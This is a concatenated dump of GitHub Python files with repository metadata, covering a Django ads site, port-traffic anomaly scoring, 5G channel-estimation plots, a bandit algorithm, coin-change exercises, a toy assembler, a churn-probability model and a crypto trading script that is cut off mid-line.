current_user_profile.follows.remove(profile)\n elif action == \"follow\":\n current_user_profile.follows.add(profile)\n current_user_profile.save()\n\n\n return render(request, \"profile.html\", {\"profile\": profile, \"ads\": ads})\n else:\n messages.success(request, (\"You must be logged in to view this page.\"))\n return redirect('home')\n\n\n\nclass AdList(ListView):\n model = Announcement\n ordering = ['-date_added']\n paginate_by = 10\n template_name = 'ads.html'\n context_object_name = 'ads'\n\n def ads(request):\n ads = Announcement.objects.all()\n context = {'ads': ads}\n return render(request, 'ads.html', context)\n\n\nclass CommentView(ListView):\n model = Comment\n ordering = ['-date']\n paginate_by = 20\n template_name = 'comments_list.html'\n context_object_name = 'comments'\n\n def comments(request):\n comments = Comment.objects.all()\n ad = Announcement.objects.all()\n context = {'comments': comments, 'ad': ad}\n return render(request, 'comments_list.html', context)\n\n\n\nclass AdView(DetailView):\n model = Announcement\n template_name = 'ad_view.html'\n context_object_name = 'ad'\n queryset = Announcement.objects.all()\n form = CommentForm\n\n# comments\n def post(self, request, *args, **kwargs):\n form = CommentForm(request.POST)\n if form.is_valid():\n ad = self.get_object()\n form.instance.user = request.user\n form.instance.announcement = ad\n comment = form.save()\n request.user.profile.comments.add(comment)\n\n # отправка уведомления на почту\n subject = f\"Новый комментарий был добавлен к '{ad.title}'\"\n from_email = settings.DEFAULT_FROM_EMAIL\n to_email = ad.author.email # адрес получателя - автор объявления\n context = {\n 'comment': comment,\n 'ad': ad,\n }\n html_message = render_to_string('new_comment_email.html', context)\n plain_message = strip_tags(html_message)\n send_mail(subject, plain_message, from_email, [to_email], html_message=html_message)\n\n return redirect(reverse(\"ad\", kwargs={\n 'pk': ad.pk\n }))\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"form\"] = self.form\n comments = Comment.objects.filter(announcement__author=self.request.user, announcement=self.get_object())\n context[\"comments\"] = comments\n return context\n\n def add_ad(request):\n submitted = False\n if request.method == \"POST\":\n form = AnnouncementForm(request.POST, request.FILES)\n if form.is_valid():\n announcement = form.save(commit=False)\n announcement.author = request.user.id\n announcement.save\n return HttpResponseRedirect(reverse('ad', kwargs={'pk': announcement.pk}))\n else:\n form = AnnouncementForm()\n if 'submitted' in request.GET:\n submitted = True\n return render(request, 'ads_form.html', {'form': form, 'submitted': submitted})\n\n\nclass AdCreate(CreateView):\n model = Announcement\n form_class = AnnouncementForm\n template_name = 'ads_form.html'\n success_url = '/ads/'\n\n def form_valid(self, form):\n form.instance.author = self.request.user # автором станет текущий пользователь\n return super().form_valid(form)\n\n\nclass AdUpdate(UpdateView):\n model = Announcement\n template_name = 'edit_ad.html'\n fields = ['title', 'text', 'category', 'image', 'video']\n\n\nclass AdDelete(DeleteView):\n model = Announcement\n template_name = 'delete_ad.html'\n success_url = reverse_lazy('ads')\n\n\ndef ad_like(request, pk):\n if request.user.is_authenticated:\n announcement = get_object_or_404(Announcement, id=pk)\n if announcement.likes.filter(id=request.user.id):\n announcement.likes.remove(request.user)\n else:\n announcement.likes.add(request.user)\n\n return redirect('ads')\n\n else:\n message.success(request, (\"You must be logged in\"))\n return redirect('ads')\n\n\n","repo_name":"96anastasia96/SkillFactory_D19","sub_path":"funproject/fun/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28905009918","text":"'''\nEvaluates an ensemble model composed of aggregated single-feature models on test data and produces ROC and Precision-Recall graphs. Loops through a set of features, using a single feature at a time and combines the scores into an aggregated score either by 1) taking the mean (Mean Ensemble), or 2) taking an weighted mean (Weighted Ensemble). The weighted ensemble requires apriori knowledge of the feature weights. \n'''\n\n# --- Imports ---\nimport pandas as pd\nimport numpy as np\nimport os, sys\nimport time\nfrom sklearn.metrics import precision_score, recall_score, precision_recall_curve, roc_curve\nimport statistics\nimport scipy.integrate as integrate\n\n# add the parent directory to the path\nsys.path.insert(0, os.path.abspath(\"../../\"))\nsys.path.insert(0, os.path.abspath(\"../\"))\nsys.path.insert(0, os.path.abspath(\"../ranking/\"))\n\nfrom common import *\nfrom constants_model import *\nfrom model import *\n# ---------------\n\ndef kde_normalize_all_scores(kde, x_vals):\n scores_norm = []\n for x in x_vals:\n ccdf = kde_ccdf(kde, x)\n scores_norm.append(ccdf)\n return scores_norm\n\ndef kde_cdf(kde, x):\n cdf = kde_integrate_quad(kde, -np.inf, x)[0]\n # print(\"x, cdf: \", x, cdf)\n return cdf\n\ndef kde_ccdf(kde, x):\n cdf = kde_cdf(kde, x)\n return 0.0 if cdf > 1.0 else 1.0 - cdf\n\ndef kde_integrate_quad(kde, xmin, xmax):\n kde_fct = lambda x: np.exp(kde.score_samples(np.array([x]).reshape(-1,1)))[0] \n return integrate.quad(kde_fct, xmin, xmax, epsabs=1.49e-20)\n\ndef kde_cdf(kde, x):\n cdf = kde_integrate_quad(kde, -np.inf, x)[0]\n # print(\"x, cdf: \", x, cdf)\n return cdf\n\ndef print_statistics(scores_dict, ports):\n for port in ports:\n print(\"\\n\\nport:\", port)\n\n res = [list(x) for x in zip(*scores_dict[port].values())]\n means = [statistics.mean(x) for x in res]\n print(\"\\n\\nmean:\", means)\n # stds = [statistics.pstdev(x) for x in res]\n stds = [statistics.stdev(x) for x in res]\n print(\"\\n\\nstd:\", stds)\n\ndef combine_scores_by_mean(scores_dict):\n res = [list(x) for x in zip(*scores_dict.values())]\n # print(\"res, len:\", len(res), res)\n means = [statistics.mean(x) for x in res]\n # print(\"\\n\\nmean:\", means)\n return means\n\ndef read_feature_importance(port, feature_imp_dir):\n filename = os.path.join(feature_imp_dir, \"port{}.csv\".format(port))\n data = pd.read_csv(filename, header=None, sep='\\s+', index_col=0)\n print(data)\n return data\n\ndef apply_weights(feature_importance, scores_dict, feature_cols):\n fsum = 0\n sum_weights = 0\n for f in feature_cols:\n first_column = feature_importance.iloc[:, 0]\n if f not in first_column: \n continue\n\n index = feature_cols.index(f)\n feat_imp_f = feature_importance.loc[f, 1]\n fsum += feat_imp_f * scores_dict[index]\n sum_weights += feat_imp_f\n print(\"sum_weights, fsum:\", sum_weights, fsum)\n return fsum / sum_weights \n\n\ndef combine_scores_by_imp(scores_dict, port, feature_imp_dir, feature_cols):\n print(\"combining scores: \", port, feature_imp_dir)\n feature_imp = read_feature_importance(port, feature_imp_dir)\n\n res = [list(x) for x in zip(*scores_dict.values())]\n # print(\"res, len:\", len(res), res)\n weighted_scores = [apply_weights(feature_imp, x, feature_cols) for x in res]\n print(\"\\n\\nweighted_scores:\", weighted_scores)\n return weighted_scores\n\n\ndef get_combined_scores_per_port(port, feature_cols, t_file, model_dir=None, feature_imp_dir=None, weighted=True, labeled=True, ranking=False, port_feat_imp=None):\n scores_dict = dict()\n Y = []\n \n for feat in feature_cols:\n # print(\"Testing on feature: \", feat)\n\n # read the model\n model_file_name = os.path.join(model_dir, \"{}_{}_model_{}.obj\".format(feat, TRAIN_DAYS, MODEL))\n models = get_model(model_file_name, None, [feat])\n if port not in models: \n return [], [] \n\n scores_dict[feat] = dict()\n\n scaler, model = models[port]\n test_data = pd.read_csv(t_file)\n test_data = test_data[test_data['port'] == port]\n if len(test_data) == 0:\n return [], []\n\n if labeled:\n Y = test_data['label'].values\n else:\n Y = [False for i in range(len(test_data))]\n # print(\"Y: \", Y)\n\n # compute model scores for the feature columns of interest\n X = test_data.filter([feat]).values\n # print(\"X: \", X)\n # print(\"Testing: port, min, max, mean, std: \", port, X.min(), X.max(), X.mean(), X.std())\n if SCALAR_BOUNDED:\n X = bound_test_data(scaler, X, [feat])\n\n X = scaler.transform(X)\n\n if MODEL == \"isolation\":\n scores = model.score_samples(X)\n else:\n scores = np.exp(model.score_samples(X))\n\n scores_dict[feat] = scores\n print(\"\\n\\nport, scores, len, type: \", port, len(scores), type(scores), scores)\n # print_statistics(scores_dict, PORTS)\n\n if weighted:\n scores_combined = np.asarray(combine_scores_by_imp(scores_dict, port_feat_imp, feature_imp_dir, feature_cols))\n print(\"\\n\\nScores combined by feature imp: \", len(scores_combined), type(scores_combined), scores_combined)\n else:\n scores_combined = np.asarray(combine_scores_by_mean(scores_dict))\n print(\"\\n\\nScores combined by mean: \", len(scores_combined), type(scores_combined), scores_combined)\n return scores_combined, Y\n\n\ndef normalize_top_scores(scores_topk, port, feature_cols, t_file, model_dir=None, feature_imp_dir=None, weighted=True, port_feat_imp=None):\n\n scores_dict = dict()\n scores_final = []\n\n # print(\"scores_topk: \", scores_topk)\n\n windows_topk = [elem[0] for elem in scores_topk]\n print(\"windows_topk: \", windows_topk) \n scores_only_topk = [elem[1] for elem in scores_topk]\n print(\"scores_only_topk: \", scores_only_topk) \n\n for feat in feature_cols:\n # print(\"Testing on feature: \", feat)\n\n # read the model\n # model_file_name = os.path.join(model_dir, \"{}_{}_model_{}.obj\".format(feat, TRAIN_DAYS, MODEL))\n models = get_model(model_file_name, None, [feat])\n\n scores_dict[feat] = dict()\n\n scaler, model = models[port]\n test_data = pd.read_csv(t_file)\n test_data = test_data[test_data['port'] == port]\n\n test_data = pd.DataFrame({'timewindow':windows_topk}).merge(test_data)\n # test_data = test_data[test_data.timewindow.isin(windows_topk)]\n print(test_data)\n\n # compute model scores for the feature columns of interest\n X = test_data.filter([feat]).values\n # print(\"Testing: port, min, max, mean, std: \", port, X.min(), X.max(), X.mean(), X.std())\n if SCALAR_BOUNDED:\n X = bound_test_data(scaler, X, [feat])\n\n X = scaler.transform(X)\n\n scores_before = np.exp(model.score_samples(X))\n # scores_dict[feat] = scores\n # print(\"\\n\\nport, scores, len, type: \", port, len(scores), type(scores), scores)\n\n print(\"Total area under kde curve, approx 1: \", kde_integrate_quad(model, -np.inf, np.inf)) # approximates to 1\n print(\"scores before norm:\", scores_before)\n scores_norm = kde_normalize_all_scores(model, X)\n scores_dict[feat] = np.array(scores_norm)\n\n if weighted:\n scores_combined = np.asarray(combine_scores_by_imp(scores_dict, port_feat_imp, feature_imp_dir, feature_cols))\n print(\"\\n\\nScores combined by feature imp: \", len(scores_combined), type(scores_combined), scores_combined)\n else:\n scores_combined = np.asarray(combine_scores_by_mean(scores_dict))\n print(\"\\n\\nScores combined by mean: \", len(scores_combined), type(scores_combined), scores_combined)\n\n for i in range(len(scores_combined)):\n scores_final.append(tuple([windows_topk[i], scores_combined[i], scores_only_topk[i]]))\n\n return scores_final\n\n\n# ------------\n\n","repo_name":"tongun/PORTFILER","sub_path":"src/model_and_analysis/ensemble/ensemble_for_ranking.py","file_name":"ensemble_for_ranking.py","file_ext":"py","file_size_in_byte":7935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3575665858","text":"#!/usr/bin/env python3\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndmrs_ref = np.fromfile(\"/tmp/dmrs_ref\", dtype=np.complex64)\nplt.plot(np.real(dmrs_ref))\nplt.plot(np.imag(dmrs_ref))\nplt.show()\n\nplot_abs = False\nfig, (ax1, ax2) = plt.subplots(2)\n\nchannel = np.fromfile(\"/tmp/channel\", dtype=np.complex64)\nif plot_abs:\n ax1.plot(np.abs(channel))\nelse:\n ax1.plot(np.real(channel))\n ax1.plot(np.imag(channel))\n\nk = 4\noffset = 2\nchannel_ierp = np.fromfile(\"/tmp/channel_ierp\", dtype=np.complex64)\nnoninterp_indexes = [i for i in range(len(channel_ierp)) if i % k == 0]\nnoninterp_indexes = [i + offset for i in noninterp_indexes]\nprint(noninterp_indexes)\n\nif plot_abs:\n ax2.plot(noninterp_indexes, [np.abs(channel_ierp)[x] for x in noninterp_indexes], marker=\"x\", color=\"blue\", linestyle=\"None\")\n ax2.plot(np.abs(channel_ierp))\nelse:\n ax2.plot(noninterp_indexes, [np.real(channel_ierp)[x] for x in noninterp_indexes], marker=\"x\", color=\"blue\", linestyle=\"None\")\n ax2.plot(noninterp_indexes, [np.imag(channel_ierp)[x] for x in noninterp_indexes], marker=\"x\", color=\"orange\", linestyle=\"None\")\n ax2.plot(np.real(channel_ierp))\n ax2.plot(np.imag(channel_ierp))\n\nplt.show()\n\n# ----------------------------\n\nsymbol_chest_before = np.fromfile(\"/tmp/symbol_chest_before\", dtype=np.complex64)\nsymbol_chest_after = np.fromfile(\"/tmp/symbol_chest_after\", dtype=np.complex64)\nsymbol_chest_before = symbol_chest_before / np.max(np.abs(symbol_chest_before))\nsymbol_chest_after = symbol_chest_after / np.max(np.abs(symbol_chest_after))\nsymbol_chest_before = np.flip(symbol_chest_before)\nsymbol_chest_after = np.flip(symbol_chest_after)\ndata = np.stack((symbol_chest_before, symbol_chest_after), axis=1)\nprint(data.shape)\n\nnum_subcarriers = data.shape[0]\nnum_symbols = data.shape[1]\n\nfig, ax = plt.subplots()\nax.imshow(np.abs(data), extent=[0, num_symbols, 0, num_subcarriers], aspect=num_symbols / num_subcarriers, interpolation=\"nearest\", cmap=\"plasma\") \nplt.show()\n\nplt.plot(np.real(symbol_chest_before), np.imag(symbol_chest_before), marker=\"o\", linestyle=\"none\", fillstyle=\"none\")\nplt.show()\n\nplt.plot(np.real(symbol_chest_after), np.imag(symbol_chest_after), marker=\"o\", linestyle=\"none\", fillstyle=\"none\")\nplt.show()","repo_name":"spritelab/5GSniffer","sub_path":"scripts/debug_chest.py","file_name":"debug_chest.py","file_ext":"py","file_size_in_byte":2230,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"82"} +{"seq_id":"23174110002","text":"import os\r\n\r\ndef check_if_saved_before(frame_dir: str,vid_name: str) -> list:\r\n check = True\r\n \r\n path = os.path.join(frame_dir, vid_name)\r\n # remove file extension from folder name\r\n path = os.path.splitext(path)[0]\r\n\r\n # check whether exists\r\n exists = os.path.isdir(path)\r\n if not exists:\r\n os.mkdir(path)\r\n check = False\r\n\r\n return [path, check]\r\n","repo_name":"aunal16/video_to_ppg","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42523038078","text":"from numpy import sqrt, log, multiply, divide, add, inf\nfrom .common import Bandit\nfrom ..reward import Reward\n\n\nclass UCB1Bandit(Bandit):\n def __init__(self, c):\n self.c = c\n\n def __str__(self):\n return f'UCB1, c = {round(self.c, 3)}'\n\n @staticmethod\n def _get_uncertainty(agent, action):\n n = agent.N[action.label]\n if not n:\n return inf\n return sqrt(divide(multiply(2, log(agent.t)), (agent.N[action.label])))\n\n @staticmethod\n def _get_action_value(agent, action):\n return agent.Q[action.label]\n\n def draw(self, agent) -> Reward:\n res_action: Reward = None\n res_value = 0\n for a in agent.actions.rewards.values():\n q = self._get_action_value(agent, a)\n p = self._get_uncertainty(agent, a)\n value = add(p, q)\n if value > res_value:\n res_action = a\n res_value = value\n return res_action\n","repo_name":"mremes/bandit-simulation","sub_path":"bandit/algorithms/ucb1.py","file_name":"ucb1.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"556425999","text":"try:\n with open(\"datafile.txt\",\"r\")as file:\n data =file.read()\n print (data)\nexcept FileNotFoundError:\n print (\"file not found\")\nexcept PermissionError:\n print(\"file acced denide\") \nexcept Exception as e:\n print(f\"An error occured:{e}\") ","repo_name":"avimanyu-rimal/Python","sub_path":"practice/Exceptional problem/file handling exceptional.py","file_name":"file handling exceptional.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"4895369098","text":"# https://leetcode.com/problems/coin-change/\n# recursive\n\ndef rob(nums):\n if not nums:\n return 0\n \n if len(nums) == 1:\n return nums[0] \n\n else:\n return max(nums[0] + rob(nums[2:]) , nums[1]+ rob(nums[3:]))\n\nnums = [1,2,3,1]\n# nums = [2,7,9,3,1]\nprint(rob(nums))\n\n\n# coin change problem\nimport sys \n \n# m is size of coins array (number of different coins) \ndef minCoins(coins, m, V): \n \n # base case \n if (V == 0): \n return 0\n \n # Initialize result \n res = sys.maxsize \n \n # Try every coin that has smaller value than V \n for i in range(0, m): \n if (coins[i] <= V): \n sub_res = minCoins(coins, m, V-coins[i]) \n \n # Check for INT_MAX to avoid overflow and see if \n # result can minimized \n if (sub_res != sys.maxsize and sub_res + 1 < res): \n res = sub_res + 1\n \n return res\n \n# Driver program to test above function \ncoins = [9, 6, 5, 3] \nm = len(coins) \nV = 11\nprint(\"Minimum coins required is\",minCoins(coins, m, V))","repo_name":"vibhor-vibhav-au6/Aryabhata-Solutions","sub_path":"assignments/week08/day05.py","file_name":"day05.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"3739946937","text":"import json\r\nimport os\r\nimport random\r\nfrom networkx.drawing.nx_pydot import write_dot\r\nfrom datetime import datetime, timedelta\r\nfrom info_extraction import extract_posts_users, extract_chains, extract_labels, extract_structure, extract_conversation_graph\r\nfrom preprocessing import preprocess_trees#, preprocess_text\r\nfrom stats import create_user_graph, create_discretized_graph\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\n\r\ntrain_path = \"rumoureval2019/rumoureval-2019-training-data/twitter-english/\"\r\n\r\ntest_path = \"rumoureval2019/rumoureval-2019-test-data/twitter-en-test-data/\"\r\n\r\ntrain_labels = extract_labels('rumoureval2019/rumoureval-2019-training-data/train-key.json')\r\ndev_labels = extract_labels('rumoureval2019/rumoureval-2019-training-data/dev-key.json')\r\ntest_labels = extract_labels('rumoureval2019/final-eval-key.json')\r\n\r\ntrain_posts, train_users = extract_posts_users(train_path)\r\ntest_posts, test_users = extract_posts_users(test_path)\r\n\r\ntrain_chains = extract_chains(train_path)\r\ntest_chains = extract_chains(test_path)\r\n\r\ntrain_trees, train_parents = extract_structure(train_path)\r\ntest_trees, test_parents = extract_structure(test_path)\r\n\r\ntrain_fin_trees, train_fin_parents = preprocess_trees(train_trees, train_parents, train_chains)\r\ntest_fin_trees, test_fin_parents = preprocess_trees(test_trees, test_parents, test_chains)\r\n\r\ndel train_trees\r\ndel train_parents\r\ndel test_trees\r\ndel test_parents\r\n\r\n#preprocess_text(train_posts)\r\n#preprocess_text(test_posts)\r\n\r\ntrain_graph_source, train_graph_dest, train_graph_time = extract_conversation_graph(train_fin_trees, train_posts)\r\ntest_graph_source, test_graph_dest, test_graph_time = extract_conversation_graph(test_fin_trees, test_posts)\r\n\r\n#n_graphs = list()\r\n#med_edges = list()\r\nstep = 0.1\r\ntrain_discrete_graphs = dict()\r\ntest_discrete_graphs = dict()\r\n\r\nfor key in train_graph_source.keys():\r\n train_discrete_graphs[key] = create_discretized_graph(train_graph_source[key], train_graph_dest[key], train_graph_time[key], step)\r\n\r\nfor key in test_graph_source.keys():\r\n test_discrete_graphs[key] = create_discretized_graph(test_graph_source[key], test_graph_dest[key], test_graph_time[key], step)\r\n\r\nkey = random.choice(list(train_discrete_graphs.keys()))\r\nexam = train_discrete_graphs[key]\r\nwhile len(exam)<6:\r\n key = random.choice(list(train_discrete_graphs.keys()))\r\n exam = train_discrete_graphs[key]\r\n\r\npos = nx.circular_layout(exam[0])\r\ni=0\r\n\r\nfor g in exam:\r\n #subax1 = plt.subplot(121)\r\n str_g = \"G\"+str(i)+\".dot\"\r\n write_dot(g, str_g)\r\n #nx.draw_networkx_nodes(g, node_color='r', label=g.nodes(), pos = pos)\r\n #nx.draw_networkx_edges(g, edge_color=\"blue\", label=\"timestamp\", pos=nx.circular_layout(g), connectionstyle='arc3, rad = 0.1')\r\n\r\n #plt.show()\r\n\r\n''' \r\n sum_edges = 0\r\n for g in list_graph:\r\n sum_edges = sum_edges+g.number_of_edges()\r\n\r\n n_graphs.append(len(list_graph))\r\n med_edges.append(sum_edges/len(list_graph))\r\n\r\nprint(n_graphs)\r\nprint(max(n_graphs))\r\nplt.hist(n_graphs, 29)\r\nplt.show()\r\nprint(med_edges)\r\nprint(max(med_edges))\r\nplt.hist(med_edges, 320,range=[1, 80])\r\nplt.show()\r\n\r\nplt.hist(n_nodes)\r\nplt.show()\r\nplt.hist(n_edges)\r\nplt.show()\r\nplt.hist(ratio)\r\nplt.show()\r\n'''","repo_name":"nicolopenzo/twitter_stance_conversation_context","sub_path":"main_base2.py","file_name":"main_base2.py","file_ext":"py","file_size_in_byte":3248,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"7667282204","text":"import ast\nimport codegen\nimport dict_ksm\ndef main():\n myast = ast.ksm_ast()\n myast.parse(\"\"\"\n mov\n m0x1\n m0x2\n loop:\n dec\n m0x1\n second_loop:\n mov\n m0x1\n 10\n jmp\n loop\n inc m0xFF\n jmpnz second_loop\"\"\")\n myast.tokenize(dict_ksm.d)\n mycodegen = codegen.codegenerator(myast)\n mycodegen.gencode_ksm()\nmain()\n","repo_name":"jake-87/ksm","sub_path":"ksm-v1/implementations/python-assembler/src/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"16960602914","text":"# Crie um programa onde 4 jogadores joguem um dado e tenham\r\n# resultados aleatórios. Guarde esses resultados em um dicionário\r\n# em Python. No final, coloque esse dicionário em ordem,\r\n# sabendo que o vencedor tirou o maior número no dado.\r\n\r\nfrom random import randint\r\nfrom time import sleep\r\nfrom operator import itemgetter\r\njogadores = {}\r\nfor j in range(1, 5):\r\n jogadores[f'{j}ºjogador'] = randint(1, 20)\r\nfor k, v in jogadores.items():\r\n print(f'{k} rolou: {v}')\r\n sleep(1)\r\nsleep(2)\r\nprint()\r\nrank = sorted(jogadores.items(), key=itemgetter(1), reverse=True)\r\nfor k, v in enumerate(rank):\r\n print(f'{k+1}º lugar: {v[0]} com {v[1]} no dado')\r\n","repo_name":"igorhit/python-101","sub_path":"091​ - Jogo de Dados em Python.py","file_name":"091​ - Jogo de Dados em Python.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23272464475","text":"from imblearn.over_sampling import SMOTE\nfrom sklearn.calibration import CalibratedClassifierCV\nimport pickle\nimport pandas as pd\nimport numpy as np\nimport inflection\nimport xgboost as xgb\n\nclass Churn_probability(object):\n\n def __init__(self):\n self.home_path = ''\n self.standard_scaler = pickle.load(open(self.home_path + 'src/standard_scaler.pkl', 'rb'))\n self.minmax_scaler = pickle.load(open(self.home_path + 'src/minmax_scaler.pkl', 'rb'))\n self.robust_scaler = pickle.load(open(self.home_path + 'src/robust_scaler.pkl', 'rb'))\n self.init = xgb.Booster({'nthread': 4}) # init model\n self.model = self.init.load_model(self.home_path + 'src/model_xgb.model') #pickle.load(open(self.home_path + '\\\\src\\\\model_xgb.pkl', 'rb'))\n\n def get_customer_id(self, data):\n # Rename colunms\n cols_old = data.columns.to_list()\n snakecase = lambda x: inflection.underscore(x)\n cols_new = list(map(snakecase, cols_old))\n data.columns = cols_new\n\n # Get customer_id and the df raw\n customers_id = data['customer_id']\n df_raw = data\n return customers_id, df_raw\n\n def feature_engeneering(self, data):\n\n # Feature Engeneering - Annual Revenue\n anual_revenue = []\n for salary in data['estimated_salary']:\n if salary < data['estimated_salary'].mean():\n anual_revenue.append(salary * 0.15)\n elif salary > data['estimated_salary'].mean():\n anual_revenue.append(salary * 0.20)\n data['anual_revenue'] = pd.Series(anual_revenue)\n\n # Feature Filtering\n # Drop customer_id and surname\n data = data.drop(['customer_id', 'surname'], axis=1)\n\n return data\n\n def data_preparation(self, data):\n\n ## Categorical Variables\n\n # One-hot Encoding - Geography\n data = pd.get_dummies(data, prefix=['geography'], columns=['geography'])\n\n # Label encoding - Gender\n data['gender'] = [1 if gender == 'Male' else 2 for gender in data['gender']]\n\n ## Numerical Variables\n\n # Normalization - Almost normal distribution features\n data['age'] = self.standard_scaler.fit_transform(data[['age']].values)\n data['credit_score'] = self.standard_scaler.fit_transform(data[['credit_score']].values)\n\n # Rescaling - Non-Normal distribuited features\n data['tenure'] = self.minmax_scaler.fit_transform(data[['tenure']].values)\n data['estimated_salary'] = self.minmax_scaler.fit_transform(data[['estimated_salary']].values)\n data['anual_revenue'] = self.minmax_scaler.fit_transform(data[['anual_revenue']].values)\n\n # Robust Scaler\n data['balance'] = self.robust_scaler.fit_transform(data[['balance']].values)\n\n return data\n\n def data_balacing(self, data):\n # Data Balacing using SMOTE\n smote = SMOTE(random_state=42)\n X_smote, y_smote = smote.fit_resample(data.loc[:, data.columns != 'exited'], data.exited)\n\n # Already balanced X and Y\n X = X_smote\n y = y_smote\n\n return X, y\n\n def get_proba(self, data, X, y):\n ## CALIBRATION WITH CalibratedClassifierCV\n calibration = CalibratedClassifierCV(self.model, method='sigmoid', cv=5)\n calibration.fit(X, y)\n\n # Predict probabilities for THE WHOLE DATASET\n prob_xgb_full = calibration.predict_proba(data[X.columns])[:, 1]\n\n return prob_xgb_full\n\n def get_df_prob(self, customer_id, df_raw, prob):\n df_raw['customer_id'] = customer_id\n df_raw['prob'] = prob\n df_prob = df_raw\n return df_prob\n\n def get_gifted_customers(self, df_prob, limited_budget):\n # Creating a Dataframe with only the churned clients\n df_prob_churn = df_prob[df_prob.exited == 1]\n\n # Creating a DataFrame with the probabilities to churn, the LTV, the gift cost and the ROI\n df_result = pd.DataFrame()\n df_result['customer_id'] = df_prob_churn.customer_id\n df_result['prob'] = df_prob_churn.prob\n df_result['LTV'] = df_prob_churn.anual_revenue\n\n conditions = [\n (df_result['prob'] >= 0.9),\n (df_result['prob'] >= 0.8) & (df_result['prob'] < 0.9),\n (df_result['prob'] >= 0.75) & (df_result['prob'] < 0.8),\n (df_result['prob'] < 0.75)\n ]\n cost = [np.nan, 200, 100, 50]\n\n # Designate gift cost according to churn probabilities\n df_result['gift_cost'] = np.select(conditions, cost)\n\n # Calculate the ROI (LTV - gift cost)\n df_result['ROI'] = df_result.LTV - df_result.gift_cost\n\n # Select only the clients that may not churn and sort by the ROI\n selected_gifts = df_result.loc[(df_result.prob > 0.7) & (df_result.prob < 0.9)].sort_values(['ROI'],\n ascending=False)\n\n # Selecting the customers to receive the gift card according to the limited budget\n total_sum = 0\n customers = []\n\n for customer, gift in zip(selected_gifts.customer_id, selected_gifts.gift_cost):\n total_sum = total_sum + gift\n # Selection goes up to the amount of gift card we can spend, which is $10.000\n if total_sum > limited_budget:\n break\n # Add client to list\n customers.append(customer)\n\n # Create final Dataframe\n gifted_customers = selected_gifts[selected_gifts.customer_id.isin(customers)]\n\n return gifted_customers\n\n","repo_name":"jpvazquezz/churn-prediction-topbank","sub_path":"churnprobability/ChurnProbability.py","file_name":"ChurnProbability.py","file_ext":"py","file_size_in_byte":5594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17962743586","text":"from __future__ import print_function\r\nimport numpy as np\r\nimport random\r\nimport pandas as pd\r\nimport sklearn\r\nimport sklearn.decomposition\r\nimport sklearn.ensemble\r\nimport sklearn.preprocessing\r\nimport math\r\nimport os\r\nimport sys\r\nimport itertools\r\nimport threading\r\nfrom matplotlib import pyplot as plt\r\nimport tensorflow as tf\r\nimport re\r\nimport time\r\nimport pickle\r\nimport Constants\r\n#tensorboard logs path\r\nLOG_PATH = \"logs\"\r\n\r\n# Utility Function to return True / False regex matching\r\ndef pattern_match(patt, string):\r\n return re.findall(patt, string) != []\r\n# Utility Function to save objects in memory to a file\r\ndef save_memory(obj, path):\r\n return pickle.dump(obj, open(path, \"wb\"))\r\n# Utility Function to load objects from the harddisk\r\ndef load_memory(path):\r\n return pickle.load(open(path, \"rb\"))\r\n\r\n#cut_off_date = int(time.mktime(time.strptime('01/01/2018', \"%d/%m/%Y\"))) * 1000\r\n\r\n#--------------------------------------------------------------------------------------\r\n# Read in the price data\r\n#--------------------------------------------------------------------------------------\r\nprint(\"Loading Data...\", end=\"\")\r\ndata_raw = pd.read_csv(\"15m/ALL_MOD.csv\").dropna(axis=0, how='any').reset_index(drop=True)\r\ndata = data_raw[data_raw.date > cut_off_date].reset_index(drop=True)\r\ndata = data.drop('date', axis=1)\r\ndata['reward_USD'] = 0\r\nprint(\"{} rows & {} columns\".format(len(data), len(data.columns)))\r\n#--------------------------------------------------------------------------------------\r\n# Manual Options\r\n#--------------------------------------------------------------------------------------\r\nCOMMISSION = 0.000 # Commision % as a decimal to use in loss function\r\nUSE_PCA = False # Use PCA Dimensionality Reduction\r\nPCA_COMPONENTS = 400 # Number of Principle Components to reduce down to\r\nUSE_SUPER = False # Create new features using supervised learning\r\nINCLUDE_VOLUME = True # Include Volume as a feature\r\nALLOW_SHORTS = True # Allow Shorts or not\r\nDISCOUNT = False # Train on discounted rewards\r\nDISCOUNT_STEPS = 24 # Number of periods to look ahead for discounting\r\nGAMMA = 0.75 # The discount factor\r\n\r\nSAVE_MODELS = True\r\nTRADING_PATH = \"Live Trading\"\r\nSAVE_LENGTH = 0.33 # Save all pre-processing models from this percentage of raw data onwards\r\n#--------------------------------------------------------------------------------------\r\n# Defining the batch size and test length\r\n#--------------------------------------------------------------------------------------\r\nBATCH_SZ_MIN = 50\r\nBATCH_SZ_MAX = 50\r\nTEST_LEN = int(round(0.25*len(data)))\r\nIDX_MAX = int(max(0, len(data) - TEST_LEN - BATCH_SZ_MAX - 1))\r\nSAVE_IDX = int(round(SAVE_LENGTH * len(data_raw)))\r\n#--------------------------------------------------------------------------------------\r\n# List of coins to trade. Set to [] to use all coins\r\n#--------------------------------------------------------------------------------------\r\nCOINS = ['USD', 'BCH', 'BTC', 'ETH', 